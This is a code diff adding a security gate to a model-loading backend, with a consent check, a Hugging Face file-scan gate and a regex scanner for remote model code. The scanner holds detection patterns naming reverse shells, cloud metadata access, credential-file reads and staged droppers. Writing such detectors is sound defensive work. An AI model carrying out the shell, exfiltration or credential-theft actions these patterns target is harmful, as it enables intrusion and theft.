+ RemoteCodeDecision, + evaluate_remote_code_consent, + evaluate_remote_code_consent_for_targets, +) +from utils.security.file_security import ( # noqa: F401 + FileSecurityDecision, + evaluate_file_security, + security_load_subdirs, +) +from utils.security.remote_code_scan import ( # noqa: F401 + CRITICAL, + HIGH, + MEDIUM, + Finding, + RemoteCodeUnscannable, + ScanResult, + remote_code_fingerprint, + repo_remote_code_files, + scan_remote_code_files, +) +from utils.security.trusted_org import is_trusted_org_repo # noqa: F401 + +__all__ = [ + "is_trusted_org_repo", + "scan_remote_code_files", + "repo_remote_code_files", + "RemoteCodeUnscannable", + "remote_code_fingerprint", + "should_block_remote_code", + "evaluate_remote_code_consent", + "evaluate_remote_code_consent_for_targets", + "preflight_remote_code_consent", + "preflight_remote_code_consent_for_targets", + "evaluate_file_security", + "security_load_subdirs", + "FileSecurityDecision", + "RemoteCodeDecision", + "ScanResult", + "Finding", + "CRITICAL", + "HIGH", + "MEDIUM", +] + + +def preflight_remote_code_consent( + model_name: str, + hf_token = None, + *, + trust_remote_code: bool = True, + approved_fingerprint = None, + trusted_org = None, +) -> "RemoteCodeDecision": + """Scan a model's ``auto_map`` for the consent dialog. Thin wrapper over + ``evaluate_remote_code_consent`` defaulting ``trust_remote_code=True`` so the scan + runs whenever the repo declares custom code; the start routes pass the user's real + value + approved fingerprint to enforce consent before any state mutation. + """ + return evaluate_remote_code_consent( + model_name, + hf_token, + trust_remote_code = trust_remote_code, + approved_fingerprint = approved_fingerprint, + trusted_org = trusted_org, + ) + + +def preflight_remote_code_consent_for_targets( + targets, + hf_token = None, + *, + trust_remote_code: bool = True, + approved_fingerprint = None, +) -> "RemoteCodeDecision": + """Preflight consent over multiple repos (a LoRA adapter plus its base) scanned as + one combined unit with a single pinning fingerprint. Wrapper defaulting + ``trust_remote_code=True``; the load passes the user's real value + fingerprint. + """ + return evaluate_remote_code_consent_for_targets( + targets, + hf_token, + trust_remote_code = trust_remote_code, + approved_fingerprint = approved_fingerprint, + ) + + +def should_block_remote_code(result: "ScanResult") -> bool: + """Recommend blocking by default on CRITICAL/HIGH findings. Advisory only: the + caller still surfaces findings and takes explicit consent. + """ + sev = result.max_severity + return sev in (CRITICAL, HIGH) diff --git a/studio/backend/utils/security/consent.py b/studio/backend/utils/security/consent.py new file mode 100644 index 0000000000..d75da37971 --- /dev/null +++ b/studio/backend/utils/security/consent.py @@ -0,0 +1,358 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Consent gate for loads that would execute model repo code. + +The LOAD-path counterpart to the capability probes (which read raw config and +never need remote code). A deliberate load calls ``evaluate_remote_code_consent`` +right before passing ``trust_remote_code=True``, and decides by the severity of a +static scan of the repo's ``auto_map`` ``.py``: + +* No ``auto_map`` in any config (model/tokenizer/processor) -> nothing runs; allow. +* CRITICAL (reverse shell, IMDS, credential theft, droppers) -> hard block, never + approvable, even first-party (defends a compromised trusted repo). +* HIGH/MEDIUM (subprocess/exec/eval/network/b64decode, or a large embedded blob) -> + block but user-approvable: the dialog pins approval to the scanned ``fingerprint``. + Applies to EVERY repo; first-party is not a blanket bypass. +* ``auto_map`` present but unscannable (gated/offline/listing failure) -> fail + closed: hard block, since we cannot verify or fingerprint unseen code. + +Hardening + consent, not a sandbox: static patterns are evadable, so subprocess / +venv isolation remains the containment layer. +""" + +from dataclasses import dataclass, field +from typing import Optional + +from loggers import get_logger + +from utils.security.remote_code_scan import ( + CRITICAL, + HIGH, + MEDIUM, + REMOTE_CODE_CONFIG_FILES, + RemoteCodeUnscannable, + remote_code_fingerprint, + repo_remote_code_files, + scan_remote_code_files, +) + +logger = get_logger(__name__) + + +@dataclass +class RemoteCodeDecision: + """Outcome of the consent gate for one (model, trust_remote_code) load.""" + + model_name: str + has_remote_code: bool + blocked: bool + fingerprint: Optional[str] + max_severity: Optional[str] + findings_summary: str + reason: str + findings: list = field(default_factory = list) # structured [{severity,file,check,evidence}] + approvable: bool = True # False only for CRITICAL (user cannot override) + + def response_payload(self) -> dict: + """Machine-readable detail for the frontend. ``error_kind`` splits a + user-approvable prompt (``remote_code_consent_required``) from a CRITICAL hard + block (``remote_code_blocked``). + """ + return { + "error_kind": ( + "remote_code_consent_required" if self.approvable else "remote_code_blocked" + ), + "model_name": self.model_name, + "has_remote_code": self.has_remote_code, + "approvable": self.approvable, + "fingerprint": self.fingerprint, + "max_severity": self.max_severity, + "findings": self.findings, + "findings_summary": self.findings_summary, + "reason": self.reason, + } + + +# trust_remote_code runs auto_map from ANY of these configs (model/tokenizer/ +# processor), so all of them gate consent (scanning only config.json/tokenizer would +# miss a custom-processor VLM). The list lives in remote_code_scan so the gate and +# scanner stay in lockstep. +_REMOTE_CODE_CONFIG_FILES = REMOTE_CODE_CONFIG_FILES + + +def _config_has_auto_map(model_name: str, hf_token: Optional[str] = None) -> Optional[bool]: + """Whether any config (model/tokenizer/processor) declares an ``auto_map`` the load + would execute. Reads raw JSON with ``hf_token``; returns None when a config is + unreadable (transient/auth) so the caller treats it as "unknown" and scans, False + when the repo genuinely ships none. GGUF is False (llama.cpp never runs auto_map); + this is the single chokepoint for that rule, shared by validate / scan / worker. + """ + # A direct .gguf FILE loads via llama.cpp (auto_map inert). A bare repo id ending in + # .gguf can still ship safetensors + auto_map, so it falls through to the scan. + if _is_direct_gguf_file_ref(model_name): + return False + configs = _load_remote_code_configs(model_name, hf_token) + if configs is None: + return None + if not any(bool((cfg or {}).get("auto_map")) for cfg in configs): + return False + # auto_map present but a GGUF repo -> inert. Checked only when auto_map exists, so + # normal models skip the extra listing. + if _is_gguf_repo(model_name, hf_token): + logger.debug("Ignoring auto_map for GGUF repo '%s' (llama.cpp never runs it).", model_name) + return False + return True + + +def _is_direct_gguf_file_ref(model_name: str) -> bool: + """Whether ``model_name`` names a specific ``.gguf`` FILE (llama.cpp), not a repo: + a local ``.gguf`` path or a remote ``org/repo/.../file.gguf`` (>= 2 slashes). A bare + ``org/name.gguf`` is a repo id that can still ship safetensors + auto_map, so it + falls through to the scan. + """ + name = model_name or "" + if not name.lower().endswith(".gguf"): + return False + try: + from utils.paths import is_local_path + if is_local_path(name): + return True + except Exception: + pass + # Remote: a file reference is repo_id ("org/name") + filename => >= 2 slashes. + return name.count("/") >= 2 + + +# Weight formats transformers can load (and thus run auto_map for). A repo shipping any +# of these is not GGUF-only -- the user could load it through transformers -- so consent +# still applies even if it also ships a .gguf. +_TRANSFORMERS_WEIGHT_SUFFIXES = ( + ".safetensors", + ".bin", + ".pt", + ".pth", + ".h5", + ".msgpack", + ".onnx", + ".ckpt", +) + + +def _is_gguf_repo(model_name: str, hf_token: Optional[str] = None) -> bool: + """Whether a remote repo loads only through llama.cpp (GGUF weights and NO + transformers-loadable weights), making its config inert. A repo that also ships + transformers weights is NOT GGUF (auto_map could run, so still gate). A listing + failure is treated as "not known-GGUF" (fall through to scan). + """ + try: + from utils.paths import is_local_path + + if is_local_path(model_name): + return False + from huggingface_hub import list_repo_files + + files = [f.lower() for f in list_repo_files(model_name, token = hf_token)] + has_gguf = any(f.endswith(".gguf") for f in files) + has_transformers_weights = any(f.endswith(_TRANSFORMERS_WEIGHT_SUFFIXES) for f in files) + return has_gguf and not has_transformers_weights + except Exception: + return False + + +def _load_remote_code_configs(model_name: str, hf_token: Optional[str] = None) -> Optional[list]: + """Read every config that can declare ``auto_map`` (model/tokenizer/processor) as + raw dicts. Returns the configs present (``[]`` when all 404, a definitive "no + auto_map"), or None when one is unreadable (transient/auth) so the caller scans. + The 404-vs-error split matters: real absence is "allow"; unreadable is "unknown". + """ + import json + from pathlib import Path + + try: + from utils.paths import is_local_path, normalize_path + + if is_local_path(model_name): + root = Path(normalize_path(model_name)).expanduser() + configs = [] + for name in _REMOTE_CODE_CONFIG_FILES: + p = root / name + if p.is_file(): + configs.append(json.loads(p.read_text())) + return configs + + from huggingface_hub import hf_hub_download + from huggingface_hub.utils import EntryNotFoundError + + configs = [] + for name in _REMOTE_CODE_CONFIG_FILES: + try: + p = hf_hub_download(repo_id = model_name, filename = name, token = hf_token) + except EntryNotFoundError: + continue # genuine 404 -> truly absent + except Exception: + # Transient/auth failure is not "absent" -> fail closed to "unknown" so + # the caller scans (a tokenizer/processor-only auto_map must not slip by). + return None + configs.append(json.loads(Path(p).read_text())) + # Every config was read or a genuine 404 -> an empty list is a definitive + # "no auto_map", not "unknown". + return configs + except Exception as exc: + logger.debug("auto_map check could not read config for %s: %s", model_name, exc) + return None + + +def evaluate_remote_code_consent( + model_name: str, + hf_token: Optional[str] = None, + *, + trust_remote_code: bool, + approved_fingerprint: Optional[str] = None, + trusted_org: Optional[bool] = None, +) -> RemoteCodeDecision: + """Single-repo consent; thin wrapper over the for_targets form. ``trusted_org`` is + accepted for backward compatibility but no longer changes the decision. + """ + return evaluate_remote_code_consent_for_targets( + [model_name], + hf_token, + trust_remote_code = trust_remote_code, + approved_fingerprint = approved_fingerprint, + ) + + +def _fingerprint_target_key(target: str) -> str: + """Namespace key for a target in the combined fingerprint. The pin is over CODE + BYTES, not the repo-id spelling: the scan canonicalizes a cached repo's casing while + workers pass raw input, so lowercase Hub ids (keep local paths as-is) or ``Org/Model`` + vs ``org/model`` would fingerprint differently and reject a valid approval. + """ + try: + from utils.paths import is_local_path + if is_local_path(target): + return target + except Exception: + return target + return target.lower() + + +def evaluate_remote_code_consent_for_targets( + targets, + hf_token: Optional[str] = None, + *, + trust_remote_code: bool, + approved_fingerprint: Optional[str] = None, +) -> RemoteCodeDecision: + """Decide whether a ``trust_remote_code=True`` load may proceed, over every repo whose + code the load would execute. A LoRA load runs adapter AND base code, so all targets + are scanned as ONE unit and pinned by ONE fingerprint over the union of their ``.py`` + -- one approval covers every repo, and a base-only fingerprint can't leave an + adapter's own ``auto_map`` unreviewed. On ``blocked``, the caller surfaces + ``response_payload()`` and retries with ``approved_fingerprint`` if the user accepts. + """ + targets = [t for t in dict.fromkeys(targets) if t] + primary = targets[0] if targets else "" + + if not trust_remote_code: + return RemoteCodeDecision( + primary, False, False, None, None, "", "trust_remote_code disabled" + ) + + # Gather executable .py from every target that ships auto_map. A definitively + # auto_map-free target contributes nothing; an unreadable config is scanned anyway. + # If ANY target's code is present but unscannable, fail the whole load closed. + combined: dict = {} + has_remote_code = False + for target in targets: + if _config_has_auto_map(target, hf_token) is False: + continue + has_remote_code = True + try: + files = repo_remote_code_files(target, hf_token = hf_token) + except RemoteCodeUnscannable: + logger.warning( + "Blocking trust_remote_code load of '%s': remote code present (auto_map) " + "but could not be downloaded and scanned.", + target, + ) + return RemoteCodeDecision( + target, + True, + True, + None, + None, + "Remote code is present (auto_map) but could not be downloaded and " + "scanned. Retry when the repo is reachable and the correct Hugging Face " + "token is set.", + "blocked: remote code could not be scanned", + approvable = False, + ) + # Namespace filenames by (casing-normalized) target so two repos' same-named + # files stay distinct and the pin tracks code, not the repo-id spelling. + target_key = _fingerprint_target_key(target) + for filename, body in files.items(): + combined[f"{target_key}\0{filename}"] = body + + if not has_remote_code: + return RemoteCodeDecision( + primary, False, False, None, None, "", "no auto_map; trust_remote_code is a no-op" + ) + + if not combined: + # auto_map declared but no executable .py (e.g. a GGUF repo's vestigial + # auto_map) -> nothing to run -> allow. + return RemoteCodeDecision( + primary, + False, + False, + None, + None, + "", + "auto_map declared but no executable code present; trust_remote_code is a no-op", + ) + + result = scan_remote_code_files(combined) + fingerprint = remote_code_fingerprint(combined) + sev = result.max_severity + + # CRITICAL is never approvable; a fingerprint pins approval for lower severities only. + approvable = sev != CRITICAL + approved = ( + approvable and approved_fingerprint is not None and approved_fingerprint == fingerprint + ) + + if sev == CRITICAL: + blocked, reason = True, "blocked: scan found CRITICAL patterns" + elif approved: + blocked, reason = False, "approved by fingerprint" + elif sev == HIGH: + # HIGH is user-approvable but must pin the fingerprint via the dialog, for every + # repo including first-party (a compromised trusted repo still needs review). + blocked, reason = True, "blocked: scan found HIGH patterns; approval required" + elif sev == MEDIUM: + # MEDIUM (e.g. a big embedded base64 blob) also pins approval like HIGH, so a + # direct API caller can't run flagged code by just setting trust_remote_code=True. + blocked, reason = True, "blocked: scan found MEDIUM patterns; approval required" + else: + blocked, reason = False, "allowed: no high-risk patterns" + + if blocked: + logger.warning( + "Blocking trust_remote_code load of '%s': scan severity %s (fingerprint %s)", + primary, + sev, + fingerprint[:12], + ) + + return RemoteCodeDecision( + primary, + True, + blocked, + fingerprint, + sev, + result.summary(), + reason, + findings = result.findings_payload(), + approvable = approvable, + ) diff --git a/studio/backend/utils/security/file_security.py b/studio/backend/utils/security/file_security.py new file mode 100644 index 0000000000..466f326f18 --- /dev/null +++ b/studio/backend/utils/security/file_security.py @@ -0,0 +1,368 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Malware / unsafe-file gate for model loads. + +The ``trust_remote_code`` consent gate covers the ``auto_map`` Python vector; this +covers the other one -- a malicious pickle inside a weight file, which executes +during ``from_pretrained`` deserialization even with ``trust_remote_code=False``. +It reads Hugging Face's OWN scan (picklescan + ClamAV) via +``model_info(securityStatus=True).security_repo_status``. METADATA-ONLY: it never +downloads, opens, or unpickles the flagged files. + +Policy: + * Hard block, non-approvable. + * Block whenever ``filesWithIssues`` lists a non-``safe`` level, regardless of + ``scansDone`` (often false even for clean repos). Unknown/future levels fail + CLOSED (block) so Hub schema drift cannot silently allow a bad verdict; only a + small allowlist of clean / not-yet-scanned levels is non-blocking. The sole + fail-open path is an unavailable status (missing field / offline / error). + * Scope to the load-path RCE vector: a root-level (or load-subdir-level), + code-executing file. Inert formats (safetensors / gguf / config / text) and + subdirectory pickles that no root weight-index references are NOT loaded, so + they do not block; an index-referenced shard does, wherever it lives. This + blocks real malware (eicar's root ``*.pkl``/``*.dat``) without false-blocking + repos like ``nvidia/Nemotron-H-8B-Base-8K`` (flagged NeMo pickles under + ``nemo/`` that no index lists). + * No first-party exemption (scoping is by load path/format, not org). + * Local paths are skipped (no Hub scan); a remote ``*.gguf``-named repo is still + scanned so a repo cannot dodge the gate by suffixing its name. +""" + +from dataclasses import dataclass, field +from typing import Optional + +from loggers import get_logger + +logger = get_logger(__name__) + +# Non-blocking levels: clean or not-yet-finished. Anything else (unsafe/suspicious/ +# malicious or a future label) blocks, so Hub schema drift fails CLOSED. +_NONBLOCKING_LEVELS = frozenset( + {"", "safe", "pending", "scanning", "queued", "unscanned", "error", "unknown", "none"} +) + +# Suffixes that cannot execute code on load (tensor-only safetensors, non-pickle gguf, +# text/markup/images), so a flag on one is never an RCE vector. +_INERT_SUFFIXES = frozenset( + { + ".safetensors", + ".gguf", + ".json", + ".txt", + ".md", + ".rst", + ".yaml", + ".yml", + ".png", + ".jpg", + ".jpeg", + ".gif", + ".webp", + ".svg", + ".bmp", + ".gitattributes", + ".gitignore", + } +) + +# Source files are not deserialized by a weight load; executable repo code runs only +# via auto_map, which is the consent gate's domain. So a flag on a .py is not this +# gate's vector (else a flagged helper/train script would false-block). +_SOURCE_SUFFIXES = frozenset({".py", ".pyc", ".pyx", ".pyi"}) + + +# Root weight-index files. from_pretrained reads these to find sharded weights, so a +# flagged subdir pickle is a load vector iff a root index references it. +_TRANSFORMERS_INDEX_FILES = ( + "pytorch_model.bin.index.json", + "model.safetensors.index.json", + "tf_model.h5.index.json", + "flax_model.msgpack.index.json", +) + + +def _normalize_repo_path(path: str) -> str: + """Strip ``./`` prefixes and normalize separators for repo-relative comparison.""" + p = (path or "").strip().replace("\\", "/") + while p.startswith("./"): + p = p[2:] + return p + + +def _file_suffix(path: str) -> str: + """Lowercase ``.ext`` of the basename, or ``""`` if none.""" + base = _normalize_repo_path(path).rsplit("/", 1)[-1] + return "." + base.rsplit(".", 1)[1].lower() if "." in base else "" + + +def _load_relative_path(norm: str, load_subdirs) -> str: + """``norm`` relative to a ``from_pretrained`` load root. Some loads read from a + snapshot SUBDIRECTORY (Spark-TTS / BiCodec load ``/LLM``), where a file + directly under the subdir is root-level, not nested. Strips the matching load-subdir + prefix, or returns ``norm`` unchanged when it is not under one. + """ + for subdir in load_subdirs or (): + prefix = _normalize_repo_path(subdir).strip("/") + if prefix and norm.startswith(prefix + "/"): + return norm[len(prefix) + 1 :] + return norm + + +def _index_prefixes(load_subdirs) -> tuple: + """Prefixes to look for weight-index files under: repo root plus each load subdir.""" + prefixes = [""] + for subdir in load_subdirs or (): + p = _normalize_repo_path(subdir).strip("/") + if p: + prefixes.append(p + "/") + return tuple(prefixes) + + +def _indexed_shard_paths( + model_name: str, + hf_token: Optional[str], + load_subdirs = (), +): + """Repo-relative weight paths a load could fetch via weight-index files. Returns a + set (empty when the repo ships no index files -- a definitive "nothing sharded"), or + None when the lookup was inconclusive (transient error) so the caller treats a + flagged subdir pickle conservatively. Reads only small JSON indexes, never weights. + Indexes are looked up at the root and each ``load_subdirs`` root, with ``weight_map`` + entries re-prefixed to repo-relative paths. + """ + import json + + try: + from huggingface_hub import hf_hub_download + from huggingface_hub.utils import EntryNotFoundError + except Exception: + return None + + paths: set = set() + inconclusive = False + for prefix in _index_prefixes(load_subdirs): + for filename in _TRANSFORMERS_INDEX_FILES: + try: + index_path = hf_hub_download(model_name, prefix + filename, token = hf_token or None) + except EntryNotFoundError: + continue # definitively absent, not an error + except Exception: + inconclusive = True # transient: an index that might exist could not be read + continue + try: + weight_map = (json.loads(open(index_path).read()) or {}).get("weight_map") or {} + for shard in weight_map.values(): + shard_norm = _normalize_repo_path(str(shard)) + # weight_map paths are relative to the index file's directory. + if prefix and not shard_norm.startswith(prefix): + shard_norm = prefix + shard_norm + paths.add(shard_norm) + except Exception: + inconclusive = True + # Any transient failure -> inconclusive (the shard could be listed only by the index + # we could not read), so fail closed (None) and let the caller block. Ships no index + # files -> EntryNotFoundError for each, empty set, a definitive "nothing sharded". + if inconclusive: + return None + return paths + + +# Two-timeout metadata fetch, mirroring hub.workers.hf_download._retry_metadata_fetch. +_REQUEST_TIMEOUT = 10.0 +_RETRY_TIMEOUT = 20.0 + + +@dataclass +class FileSecurityDecision: + """Outcome of the Hub security scan for one model repo.""" + + model_name: str + blocked: bool + unsafe_files: list = field(default_factory = list) # [{"path", "level"}] + reason: str = "" + + def response_payload(self) -> dict: + """Machine-readable detail merged into the preflight payload the dialog reads.""" + return { + "unsafe_files": self.unsafe_files, + "security_blocked": self.blocked, + "reason": self.reason, + } + + +def security_load_subdirs(model_name: str, hf_token: Optional[str] = None) -> tuple: + """Snapshot subdirectories a load calls ``from_pretrained`` on, for scoping the scan. + Most models load from the root (``()``); Spark-TTS / BiCodec load ``/LLM``, + so ``LLM/`` is a load root for them. Metadata-only (tokenizer special tokens), cached. + """ + try: + from utils.models.model_config import detect_audio_type, load_model_defaults + if detect_audio_type(model_name, hf_token = hf_token) == "bicodec": + return ("LLM",) + # Tokenizer detection can fail (network/gated/unresolved alias); the YAML default + # also pins the audio type, so fall back to it (else a flagged LLM/ pickle is + # treated as an ignored subdir artifact). + if (load_model_defaults(model_name) or {}).get("audio_type") == "bicodec": + return ("LLM",) + except Exception: + pass + return () + + +def _load_scan_target(model_name: str, load_subdirs: tuple) -> tuple: + """Map a load alias to the ``(repo_id, load_subdirs)`` the load actually fetches. The + Spark-TTS / BiCodec alias ``/LLM`` is downloaded by the trainer as + ``unsloth/`` and loaded from ``LLM/``, so scan that repo with ``LLM`` as a + load root (the literal alias 404s and fails open). Everything else is unchanged. + """ + try: + from utils.paths import is_local_path + if is_local_path(model_name): + return model_name, load_subdirs + except Exception: + return model_name, load_subdirs + name = (model_name or "").strip().strip("/") + # Rewrite ONLY a registry-known bicodec alias, never any repo ending in "/LLM" + # (e.g. "evil/LLM" would scan unsloth/evil and fail open on the real repo). + if name.endswith("/LLM") and name.count("/") == 1: + try: + from utils.models.model_config import load_model_defaults + if (load_model_defaults(name) or {}).get("audio_type") == "bicodec": + parent = name[: -len("/LLM")] + return f"unsloth/{parent}", tuple(dict.fromkeys((*load_subdirs, "LLM"))) + except Exception: + pass + return model_name, load_subdirs + + +def _fetch_security_status(model_name: str, hf_token: Optional[str]): + """``security_repo_status`` (a dict) or None if unavailable. Hub metadata only; + retries once on a transient error, then returns None so the caller fails open. + """ + from huggingface_hub import model_info as hf_model_info + + token_arg = hf_token if hf_token else False + last_exc = None + for attempt, timeout in enumerate((_REQUEST_TIMEOUT, _RETRY_TIMEOUT)): + try: + info = hf_model_info( + model_name, + token = token_arg, + securityStatus = True, + timeout = timeout, + ) + return getattr(info, "security_repo_status", None) + except Exception as exc: # network/offline/gated/404/unsupported-client + last_exc = exc + if attempt == 0: + continue + logger.debug( + "HF security scan unavailable for '%s' (%s); failing open.", + model_name, + type(last_exc).__name__ if last_exc else "unknown", + ) + return None + + +def evaluate_file_security( + model_name: str, + hf_token: Optional[str] = None, + *, + load_subdirs = (), +) -> FileSecurityDecision: + """Block a load when HF's security scan flags unsafe serialized files. + + Call UNCONDITIONALLY before any load (independent of trust_remote_code): a malicious + pickle deserializes during ``from_pretrained`` regardless. Metadata-only; fails open + when the scan is unavailable. + + ``load_subdirs`` names subdirs the load calls ``from_pretrained`` on (e.g. ``("LLM",)`` + for Spark-TTS / BiCodec, loading ``/LLM``): a flagged file directly under one + is root-level there and blocks, and an index inside it is honored when scoping shards. + """ + # Scan the repo the load actually fetches, not the literal alias (which 404s and + # fails open): the Spark-TTS "/LLM" alias is really unsloth/ from LLM/. + model_name, load_subdirs = _load_scan_target(model_name, tuple(load_subdirs)) + + # Local paths (including a local .gguf) have no Hub scan. A remote ref is scanned + # even if named "*.gguf", so a repo cannot dodge the scan via its name. + try: + from utils.paths import is_local_path + if is_local_path(model_name): + return FileSecurityDecision(model_name, False, reason = "local path; no Hub scan") + except Exception: + # Cannot classify the path -> do not block on that account. + return FileSecurityDecision(model_name, False, reason = "path check failed; not blocked") + + status = _fetch_security_status(model_name, hf_token) + if not isinstance(status, dict): + return FileSecurityDecision( + model_name, False, reason = "scan unavailable; allowed (fail-open)" + ) + + # Block a non-``safe`` flagged file scoped to the load-path RCE vector (root-level, + # code-executing). Not gated on ``scansDone`` (often false even when clean; a flagged + # file is flagged regardless). Unknown levels fail closed; in-progress/clean do not. + # Subdir pickles and inert formats (safetensors/gguf) are not loaded by + # from_pretrained and do not block. Unavailable status (above) is the only fail-open. + unsafe = [] + skipped = [] # flagged, but not a load-path RCE vector (subdir artifact / inert) + maybe_shard = [] # flagged subdir pickle: a load vector ONLY if a root index lists it + for entry in status.get("filesWithIssues") or []: + if not isinstance(entry, dict): + continue + level = str(entry.get("level", "")).lower() + if level in _NONBLOCKING_LEVELS: + continue + path = entry.get("path", "") + norm = _normalize_repo_path(path) + suffix = _file_suffix(norm) + # Path relative to the load root: a file under a load subdir (e.g. LLM/) is + # root-level there, not nested. + load_rel = _load_relative_path(norm, load_subdirs) + if not norm or suffix in _INERT_SUFFIXES or suffix in _SOURCE_SUFFIXES: + # Inert formats cannot execute on load; source code is the consent gate's + # domain (auto_map), not a deserialization vector. + skipped.append({"path": path, "level": level}) + elif "/" not in load_rel: + unsafe.append({"path": path, "level": level}) # root pickle -> load vector + else: + # Subdir pickle: deserialized only if a weight index references it. + maybe_shard.append({"path": path, "level": level, "norm": norm}) + + if maybe_shard: + indexed = _indexed_shard_paths(model_name, hf_token, load_subdirs) + for m in maybe_shard: + # Block if a root index lists this shard, or if the lookup was inconclusive + # (transient error -> stay conservative). A definitive "no index / not listed" + # stays non-blocking (e.g. NeMo nemo/*.distcp). + if indexed is None or m["norm"] in indexed: + unsafe.append({"path": m["path"], "level": m["level"]}) + else: + skipped.append({"path": m["path"], "level": m["level"]}) + + if not unsafe: + if skipped: + # Flagged files exist, but none the load deserializes (subdir pickle or inert + # format) -> allow, but log them so they stay visible. + logger.info( + "'%s': Hugging Face flagged files, but none are a load-path RCE " + "vector (subdir/inert); allowing the load. Flagged: %s", + model_name, + ", ".join(f"{s['path']}({s['level']})" for s in skipped), + ) + return FileSecurityDecision(model_name, False, reason = "no unsafe files in the load path") + + names = ", ".join(u["path"] for u in unsafe if u["path"]) or "unknown files" + logger.warning( + "Blocking load of '%s': Hugging Face security scan flagged unsafe files (%s).", + model_name, + names, + ) + return FileSecurityDecision( + model_name, + True, + unsafe_files = unsafe, + reason = f"Hugging Face security scan flagged unsafe files: {names}", + ) diff --git a/studio/backend/utils/security/remote_code_scan.py b/studio/backend/utils/security/remote_code_scan.py new file mode 100644 index 0000000000..18e45511d0 --- /dev/null +++ b/studio/backend/utils/security/remote_code_scan.py @@ -0,0 +1,679 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Static scan of a model's ``auto_map`` remote code, for the consent gate. + +When a user opts into ``trust_remote_code``, the repo's ``auto_map`` Python +(``modeling_*.py`` etc.) is scanned BEFORE execution and suspicious patterns are +surfaced to inform consent. A warning aid, not a hard boundary: a determined +attacker can obfuscate past regexes, so the job is to raise the bar and inform the +hash-pinned consent. Containment (subprocess/venv) is separate; execution still +requires opt-in. + +Single source of truth: ``scripts/scan_packages.py`` (the scanner CI runs via +``security-audit.yml``). We import its ``check_py_file`` so the gate inherits every +CI improvement with no drift; its heuristics are deliberately low-false-positive +(combinations flag, not bare ``subprocess``/``eval``). When ``scripts/`` is absent +(stripped install) we fall back to ``_FALLBACK_PATTERNS`` below; a test asserts the +canonical scanner loads in-repo so the fallback never silently takes over. +""" + +from __future__ import annotations + +import hashlib +import importlib.util +import pathlib +import re +import sys +from dataclasses import dataclass, field +from typing import Optional + +from loggers import get_logger + +logger = get_logger(__name__) + +CRITICAL = "CRITICAL" +HIGH = "HIGH" +MEDIUM = "MEDIUM" +_SEVERITY_ORDER = {CRITICAL: 0, HIGH: 1, MEDIUM: 2} + +# Configs that can carry an ``auto_map`` pointing at executable repo ``.py``. +# ``trust_remote_code`` runs code from ANY of these, so scanner and gate must read the +# same set (scanning only config.json/tokenizer would miss a custom-processor VLM). +REMOTE_CODE_CONFIG_FILES = ( + "config.json", + "tokenizer_config.json", + "preprocessor_config.json", + "processor_config.json", + "video_preprocessor_config.json", +) + + +class RemoteCodeUnscannable(Exception): + """The repo's executable code could not be fully fetched/listed to scan. + + Raised (not returned empty) so the gate distinguishes "code PRESENT but unreadable" + (offline/gated/transient/404/listing failure) -> fail CLOSED, from "repo has NO .py" + (empty result) -> trust_remote_code is a no-op -> allow. Conflating them would block + a code-free repo or fail open on code we could not see. + """ + + +# Fallback patterns (used only if scripts/scan_packages.py is absent): (regex, check, +# severity). A flat subset of the canonical scanner so a stripped install still scans; +# the canonical scanner (imported below) supersedes it whenever the repo is present. +_FALLBACK_PATTERNS: tuple[tuple[re.Pattern, str, str], ...] = ( + ( + re.compile( + r"\bexec\s*\(\s*(?:urllib|requests|httpx|urlopen)" + r"|\bexec\s*\([^)]*\.(?:text|content|read)\s*\(" + r"|\beval\s*\([^)]*\.(?:text|content|read)\s*\(" + r"|\b__import__\s*\([^)]*\+", + re.DOTALL, + ), + "loads-and-executes-remote-code", + CRITICAL, + ), + ( + re.compile( + r"\bsocket\b.*\bconnect\b.*\bsubprocess\b" + r"|\bsocket\b.*\bconnect\b.*\b(?:sh|bash|cmd)\b" + r"|\bpty\s*\.\s*spawn\b|\bos\s*\.\s*dup2\s*\(", + re.DOTALL, + ), + "reverse/bind-shell", + CRITICAL, + ), + ( + re.compile( + r"169\.254\.169\.254|metadata\.google\.internal|/latest/meta-data" + r"|/metadata/identity|169\.254\.170\.2" + ), + "cloud-metadata/IMDS-access", + CRITICAL, + ), + ( + re.compile( + r"(?:open|Path|read_text|read_bytes)\s*\([^)]*?" + r"(?:\.ssh[/\\]|\.aws[/\\]|\.kube[/\\]|\.gnupg[/\\]|id_rsa|id_ed25519" + r"|credentials\.json|\.git-credentials|\.npmrc|\.pypirc|/etc/shadow)" + r"|(?:open|Path)\(\s*['\"]\.env['\"]\s*[,)]", + re.DOTALL, + ), + "credential-file-access", + CRITICAL, + ), + ( + re.compile(r"/tmp/\S+.*(?:subprocess|os\.system|os\.popen|Popen|chmod.*\+x)", re.DOTALL), + "tmp-staged-dropper", + CRITICAL, + ), + ( + re.compile(r"\bopenssl\s+(enc|rand|rsautl|pkeyutl|genrsa|dgst|s_client)\b"), + "openssl-cli-exfil", + HIGH, + ), + ( + re.compile( + r"\bsubprocess\s*\.\s*(Popen|call|run|check_call|check_output)\b" + r"|\bos\s*\.\s*(system|popen|exec[lv]p?e?)\b" + ), + "subprocess/os-exec", + HIGH, + ), + # Bare exec()/eval() only; the (? Optional[str]: + if not self.findings: + return None + return min((f.severity for f in self.findings), key = lambda s: _SEVERITY_ORDER[s]) + + @property + def clean(self) -> bool: + return not self.findings + + def summary(self) -> str: + if self.clean: + return "no suspicious patterns found" + by = {} + for f in self.findings: + by.setdefault(f.severity, set()).add(f.check) + parts = [] + for sev in (CRITICAL, HIGH, MEDIUM): + if sev in by: + parts.append(f"{sev}: {', '.join(sorted(by[sev]))}") + return "; ".join(parts) + + def findings_payload(self) -> list[dict]: + """Structured findings for the UI: one record per match, with line + snippet.""" + return [ + { + "severity": f.severity, + "file": f.filename, + "check": f.check, + "evidence": f.evidence, + "line": f.line, + "snippet": f.snippet, + } + for f in self.findings + ] + + +# Canonical scanner: import scripts/scan_packages.py by file path (scripts/ is not an +# importable package from the backend root). It imports only stdlib at module level and +# guards its CLI under __main__, so importing it is side-effect-free. +_CANON_SENTINEL = object() +_canon_cache = _CANON_SENTINEL + + +def _load_canonical_scanner(): + """Return the ``scripts/scan_packages.py`` module, or None if unavailable.""" + global _canon_cache + if 